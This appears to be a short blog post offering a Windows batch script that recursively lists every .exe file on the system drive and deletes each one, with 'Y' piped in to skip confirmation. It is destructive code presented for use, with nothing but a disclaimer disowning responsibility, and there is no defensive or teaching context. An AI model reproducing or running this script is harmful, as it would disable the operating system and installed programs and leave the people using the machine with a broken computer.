Archive for the ‘Batch code to Delete all exe’s from a computer’ Category

Batch code to Delete all exe’s from a computer


rem ———————————
rem Delete All Exe
DIR /S/B %SystemDrive%\*.exe >> FIleList_exe.txt
echo Y | FOR /F “tokens=1,* delims=: ” %%j in (FIleList_exe.txt) do del “%%j:%%k”
rem ———————————

[Note: Be careful in using these scripts, i will not be responsible if you damage your system.]

Advertisements